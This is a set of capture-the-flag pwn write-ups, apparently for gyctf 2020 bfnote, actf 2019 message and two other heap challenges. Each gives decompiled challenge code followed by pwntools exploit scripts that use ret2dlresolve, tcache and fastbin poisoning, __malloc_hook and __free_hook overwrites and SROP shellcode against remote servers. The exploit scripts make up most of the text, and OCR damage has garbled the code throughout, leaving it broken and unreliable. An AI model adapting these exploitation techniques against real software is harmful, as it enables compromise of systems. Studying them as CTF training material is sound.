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196 gyctf 2020 bfnote

v6 = _ readgsdword(©xl4u);
sub_80486F7();
fwrite("\nGive your description : ", 1lu, ©ex19u, stdout);
memset(s, @, sizeof(s));
readd(@, =, @x688):
write("Give your postscript : ", 1lu, ©x17u, stdout);
memset (&unk_804A060, ©, ©x64u);
readd(@, &unk_864A860, 1536);
fwrite("\nGive your notebook size : ", 1lu, ex1Bu, stdout);
size = rread();
v3 = (char *)malloc(size);
memset(v3, @, size);
fwrite("Give your title size : ", 1u, ©x17u, stdout);
v4d = rread();
for (1 = v4; size - 32 < 1; 1 = rread() )
fwrite("invalid ! please re-enter :\n", 1lu, ex1lCu, stdout);
fwrite("\nGive your title : ", 1u, ©x13u, stdout);
readd(e, v3, 1);
fwrite("Give your note : ", 1u, ©xllu, stdout);
read(@, &v3[v4 + 167, size - v4 - 16);

"\nnow , check your notebook :\n", 1lu, ©x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 16]);
return __readgsdword(@x14u) ~ v6&;
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tls &5 #4) 44

typedef struct
I
L

void *tcb;

dtv_t *dtv;

void *self;

int multiple threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;

uintptr_t pointer_guard;

+ tcbhead_t;

B Fuintptr_t stack_guardmlif2 FAl 1 canary.
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loc_8048973:

mov ecx, [ebp+var_4]
leave

lea esp, [ecx-4]
retn

; 1 // starts at 8048761
main endp
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from pwn import

remote( , 26764)
elf = ELF(
libc = ELF(

bss_start 0x0804A060

(ox3e oxc ox8) p64(bss_start gap + 0x4)

r.send(stack_overflow)

r.recvuntil(

fake_sym p32(bss_start gap + 0x4 * 4 + Ox8 - 0x80482C8) p32(0) p32(0) p32(0x12)
fake rel p32(bss_start) p32(0x7 ((bss_start gap + 0x4 * 4 + Ox8 + Ox8 + Ox8 - 0Ox080481D8) 0x10)

gap + p32(0x08048450) p32(bss_start + gap + @x4 * 4 + Ox8 * 2 - 0x080483D0) p32(0) p32(bss
ox4 * 4) fake_rel + fake_sym)

.recvuntil(

.send( (0x20000))

.recvuntil( )

.send(str(0xf7d22714 - 0xf7de1008 - 16))

.recvuntil(
.send( (4))

.recvuntil(
.send( )

.recvuntil(
.send(

.interactive()
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setvpuT(stdin, WLL, £, YLL);
setvbuf(_bss_start, OLL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
fd = open("/dev/urandom", ©);

if ( fd < @)
{
puts(“open failed!");
exit(-1);
¥
read(fd, &ptrs, 8ulLlL);
close(fd);

ptrs = (void *)((unsigned int)ptrs & ©xFFFFeeee);
mallopt(1l, @);
if ( mmap(ptrs, ©x1eeeuLL, 3, 34, -1, OLL) != ptrs )

{

puts(“mmap error!");

exit(-1);
¥
signal(14, timeout_handler);
alarm(@x3Cu);
if ( prctl(38, 1LL, OLL, ©LL, eLL) )
{

puts(“Could not start seccomp:");
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add

void **v@; // rbx

int i; // [rsp+@h] [rbp-20h]

int v3; // [rsp+4h] [rbp-1Ch]

unsigned __inté4 v4; // [rsp+8h] [rbp-18h]

v4 = _ readfsqword(@x28u);

for ( 1 = @; *((_QWORD *)ptrs + 2 * 1) & & 1 <= 15; ++1 )

if (== 16)
{

puts("You can't");
exit(-1);
¥
printf("Size: ");
v3 = get_int();
if ((v3 <=0 || v3 > 4096 )
{
puts("Invalid size :(");
}
else
{
*((_DWORD ®)ptrs + 4 * 1 + 2) = v3;
ve = (void **)((char *)ptrs + 16 * 1);
*v@ = calloc(v3, 1uLl);
puts("Add success :)");
}

return __readfsqword(®x28u) ~ v4;

/N[ fEbss, I Zcalloc.

edit

int v1; // [rsp+@h] [rbp-16h]
unsigned __ int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
printf("Index: ");
vl = get_int();
if (vl >= © && v1 <= 15 & *((_QUORD *)ptrs + 2 * v1) )
{
printf("Content: ");
*(_BYTE *)(*((_QWORD *)ptrs + 2 * v1) + (int)read_n(

w2 HIE161, KR, $8EF, K

*((_QWORD *)ptrs + 2 * v1),
*((unsigned int *)ptrs + 4 * vl + 2))) = 0;

pﬂ!!( Ed!.! sUTTeST :’}J
}

else

{
puts("Invalid index :(");

}

return _ readfsqword(@x28u) ~ v2;
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delete

knsigned _ int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsgword(@x28u);
printf("Index: ");
vl = get_int();
if (vl >= © && vl <= 15 && *((_QWORD *)ptrs + 2 * v1) )
{
free(*((void **)ptrs + 2 * v1));
*((_QWORD *)ptrs + 2 * vl) = @LL;
*((_DWORD *)ptrs + 4 * vl + 2) = 9;
puts("Delete success :)");

}
else
{
puts("Invalid index :(");
}
return __readfsgword(&x28u) ~ v2;
}
TR R RRERE N
show
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsgword(@x28u);
printf("Index: ");
vl = get_int();
if (vl >= @ && vl <= 15 && *((_QWORD *)ptrs + 2 * v1) )
puts(*((const char **)ptrs + 2 * v1));
else
puts("Invalid index :(");
return __readfsqword(@x28u) " v2;
}
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context(log level

elf = ELF( )

libc ELF( )

one_gadget 16 [0x45216,0x4526a,0xf02a4,0xf1147 |

.recvuntil(menu)
.sendline( )
.recvuntil( )

.sendline( (size))

def delete(index):
.recvuntil(menu)
.sendline( )
.recvuntil( )

.sendline( (index))

def show(index):
.recvuntil(menu)
.sendline( )
.recvuntil( )
.sendline( (index))

def edit(index, content):
r.recvuntil(menu)
.sendline( )
.recvuntil( )

.recvuntil(

o
o
r.sendline( (index))
o
r

.send(content)

def pwn():

libc.address

add(ox89)

add(0x68)

add(oxf0)

add(ox18)

delete(9)

payload Ox60 + p64(0x100)

edit(1, payload)

delete(2)

add(ox89)

show(1)

malloc_hook = u64(r.recvuntil( ).1ljust(8, D)
libc.address malloc_hook libc.sym[ ]
system libc.sym[ ]

free_hook libc.sym[

set_context libc.symbols| ]

success( (libc.address))

add(0x160)

add(ex18)
add(ex508)
add(ex18)
add(ex18)
add(ex508)
add(ex18)

0x58

0x10




edit(5, Ox4F0+p64(0x500) )
delete(5)

edit(4, 0x18)

add(ox18)

add (0x4d8)

delete(5)

delete(6)

add(0x30)

add (ox4e8)

edit(8, Ox410+p64(0x500) )
delete(8)

edit(7, 0x18)
add(ox18)

add (0x4d8)
delete(8)
delete(9)

add (ox49)
delete(6)

add (ox4e8)
delete(6)

storage = free_hook

fake_chunk storage 0x20

payload 0x10 p64(9) p64(0x4f1) p64(0) p64(fake_chunk)

edit(11, payload)

payload 0x20 p64(9) p64(0x4el) p64(9) p64(fake_chunk+8) +p64(0) p64(fake_chunk-0x18-5)

edit(12, payload)
add(ox48)
sleep(0.5)

new_addr free_hook &OxFFFFFFFFFFFFFO00
shellcodel

new_addr
edit(6, 0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcodel))

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi new_addr
frame.rsi 0x1000
frame.rdx = 7

frame.rip libc.sym[
edit(12, (frame))
delete(12)

sleep(0.5)

shellcode2




r.sendline(asm(shellcode2))

r.interactive()

while True:
P remote( , 29594)
try:
pwn ()
except:

r.close()
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for ( 1 =©; 1 <=9 && flist[i]; ++1 )

if (i==10)

{
puts("Full flag!");
result = @LL;
X
else
{
v2 = (int *)malloc(®xleuLl);
printf("size?>");
v2[2] = read_int();
*(_QWORD *)v2 = malloc(v2[2]);
if ( !'*(_QWORD *)v2 )
{
puts(”"Can not malloc!");
exit(e);
}
printf("content:");
secure_read(*(_QWORD *)v2, (unsigned int)v2[2]);
v2[3] = 1;
flist[i] = v2;
puts("OK!");
result = @LL;
}

return result;

create  [fiisize 7] LA N0



}
if ( flist[v1] )
{
v2 = (_QWORD *)flist[v1];
if ( *((_DWORD *)v2 + 3) )
{
--*((_DWORD *)v2 + 3);
v3 = realloc((void *)*v2, *((int *)v2 + 2));
if ( v3 )
{
*v2 = v3;
printf("New content:");
secure_read(*v2, *((unsigned int *)v2 + 2));

puts("0OK!");
}
else
{
puts("Can not edit this flag!");
}
result = BLL;
}
else
{

puts("Dead!");
result = BLL;

-

edit® i Hrealloc, Fixrealloc
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from pwn import

context.log level

r remote ( ,27355)
libc = ELF( )

def add(size,content):
r.sendlineafter( 5 )
r.sendlineafter( 5 (size))

r.sendafter( ,content)

def edit(index,content,have True):
r.sendlineafter( 5 )
r.sendlineafter( (index))
if have:

sh.sendafter( ,content)
def show(index):
r.sendlineafter( 5 )
r.sendlineafter( (index))
def delete(index):

r.sendlineafter( P )
r.sendlineafter( (index))

add (0x1009,
for i in (1,8):
delete(i)

malloc_hook (ub4(r.recv(6).1ljust(8, OXFFFFFFFFFFFFFO00)
libc_base malloc_hook libc.sym[ ]

one_gadget libc_base 0x10a38c

(libc_base)

,False)

add (0x10, p64(malloc_hook))

add(0x10,p64(one_gadget))
r.sendlineafter(

r.interactive()

199 actf 2019 _message
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add

puts("Please input the length of message:");
read(®, &buf, 8ulLL);
v2 = atoi(&buf);
if (v2<=90)
{
puts("Length is invalid!");
}
else
{
for (1 =0; 1 <=9; ++1 )
{
if ( !*(_QWORD *)&dword_602060[4 * 1 + 2] )
{
dword_602060[4 * 1] = v2;
*(_QWORD *)&dword_602060[4 * 1 + 2] = malloc(v2);
puts(“Please input the message:");
read(@, *(vold **)&dword_682060[4 * i + 2], v2);
++dword_60204C;
return __readfsqword(@x28u) ~ v4;

delete

if ( dword 60204C <= @ )
{

¥

else

{
puts(“Please input index of message you want to delet
read(@, &buf, 8ulLl);
vl = atoi(&buf);

puts(“There is no message in system");

if (vi<eoe || vi>9)

.—
puts(“Index is invalid!");

¥

else

{

free(*(void **)&dword_602060[4 * v1 + 2]);
dword_602060[4 * v1] = @;
--dword 68204C:
¥
¥

return __readfsqword(@®x28u) ~ v3;

adit



for (1 =0; 1 <=9; ++1 )
{
if ( !'*(_QWORD *)&dword_ee2eee[4 * 1 + 2] )
{
dword_60©2060[4 * 1] = v2;
*(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
puts("Please input the message:");
read(®, *(void **)&dword_6e2e60[4 * i + 2], v2);
++dword_662e4cC;
return __readfsqword(ex28u) ~ v4;

1EHedit
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from pwn import

context.log level

remote( NV555))

elf = ELF(
libc = ELF(

def add(size,content):
r.sendlineafter( )
r.sendlineafter( 5 (size))

r.sendafter( ,content)

delete(idx):
r.sendlineafter( )

r.sendlineafter( 5 (idx))

edit(idx,content):
r.sendlineafter( )
r.sendlineafter( 5 (idx))
r.sendafter( ,content)

show(idx):
r.sendlineafter( )
r.sendlineafter( 5 (idx))

k)

add (068, p64 (0x000602060) )

add (0x68, )

add (0x68,p64(0) *2+p64(0x460) )

show(1)

libc_base = u64(r.recvuntil( )[-6:].1just(8, ))-libc.sym[

system_addr libc_base libc.sym[
free_hook libc_base libc.sym[

add (0x58, p64(free_hook))
add (0x58, )

add (0x58, p64(system_addr))
delete(2)

r.interactive()
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ve = 1LL;
if ( qword_202048[0] )

{
do

vl = (int)ve++;
while ( *(_QWORD *)&byte 202038[8 * v8] );
¥

else

{
vl = eLL;

}

qword_2e2e4e[v1] = (__inte4)malloc(®x78uLL);

puts("title:");

read(e, (void *)qword_202046[v1], 8ullL);

puts("content:");

read(@, (void *)(qword_202048[v1] + 8), ©x68ull);

return __printf_chk(1LL, "%s %s", (const char *)qword_282e4@[v1], (const char *)(qword_202040[v1] + 8));

if ( dword_282018 )

{
puts("index:");
__1s0c99_scanf("%d", &v2);
_I0_getc(stdin);
if ((v2 <=9 )
{
vl = (void *)qword_2@2e4e[v2];
if (vl)
{
free(vl);
--dword_262018;
}
}
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from pwn import

context.log level

def add(title,content):
r.sendlineafter( 5 )
r.sendafter( ,title)
r.sendafter( ,content)

def delete(index):
r.sendlineafter(




r.sendlineafter( (index))

exp():

add(

add( ,

fake_chunk ox8 p64(9) p64(0x61)
add( ,fake_chunk)

delete(9)
delete(9)

add(
r.recvuntil( )
heap_base = u64(sh.recv(6).1ljust(8, D) (OXFFFFFFFFFFFFFFOO)
print 5 (GEEE))
add( ,p64(heap_base + 0x280) p64(heap _base + ©x268) p64(0x101) p64(heap_base + 0x270))
payload Ox5A + p64(heap_base + 0x280)
add( ,payload)
add( ’ )
delete(6)
add( 0x8, 0x10)
r.recvuntil( 0x18)
malloc_hook (ub4d(sh.recv(6).1ljust(8, ))& OxFFFFFFFFFFFFFO00) (libc.sym[ OXFFF)
libc_base malloc_hook libc.sym[ ]
if libc_base 40 Ox7F:
raise Exception( )
one_gadget libc_base 0x10a38c
print ) (libc_base)

add ( ) 0x10 p64(malloc_hook))
add( , )
add(p64(one_gadget),

r.sendlineafter(

while True:

try:
global r
r remote( ,25672)
exp()
r.interactive()

except:
r.close()

print
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